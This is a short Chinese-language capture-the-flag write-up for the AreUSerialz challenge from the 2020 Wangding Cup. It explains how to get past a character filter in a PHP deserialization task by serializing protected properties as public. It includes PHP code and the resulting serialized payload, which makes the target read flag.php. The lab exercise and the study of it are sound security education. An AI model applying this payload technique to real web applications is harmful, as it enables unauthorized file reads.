[网鼎杯 2020 青龙组]AreUSerialz1
考察php反序列化
题目首先对传入的str进行条件判断,传入的值中不能用<chr(32)空格,不能>chr(125) } 反括号。
反序列化中 protect ,private, 在序列化时候存在不可见\0在ascii码中为0在实例化 序列化中均不可见在序列化时需要加上\0在浏览器中为%00
此时无法绕过is_valid字符限制函数。
查看大佬wp后 序列化pulic 来反序列protected
因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public
即:
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content='r';
}
$a = new FileHandler();
echo serialize($a);
?>
序列结果
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"r";}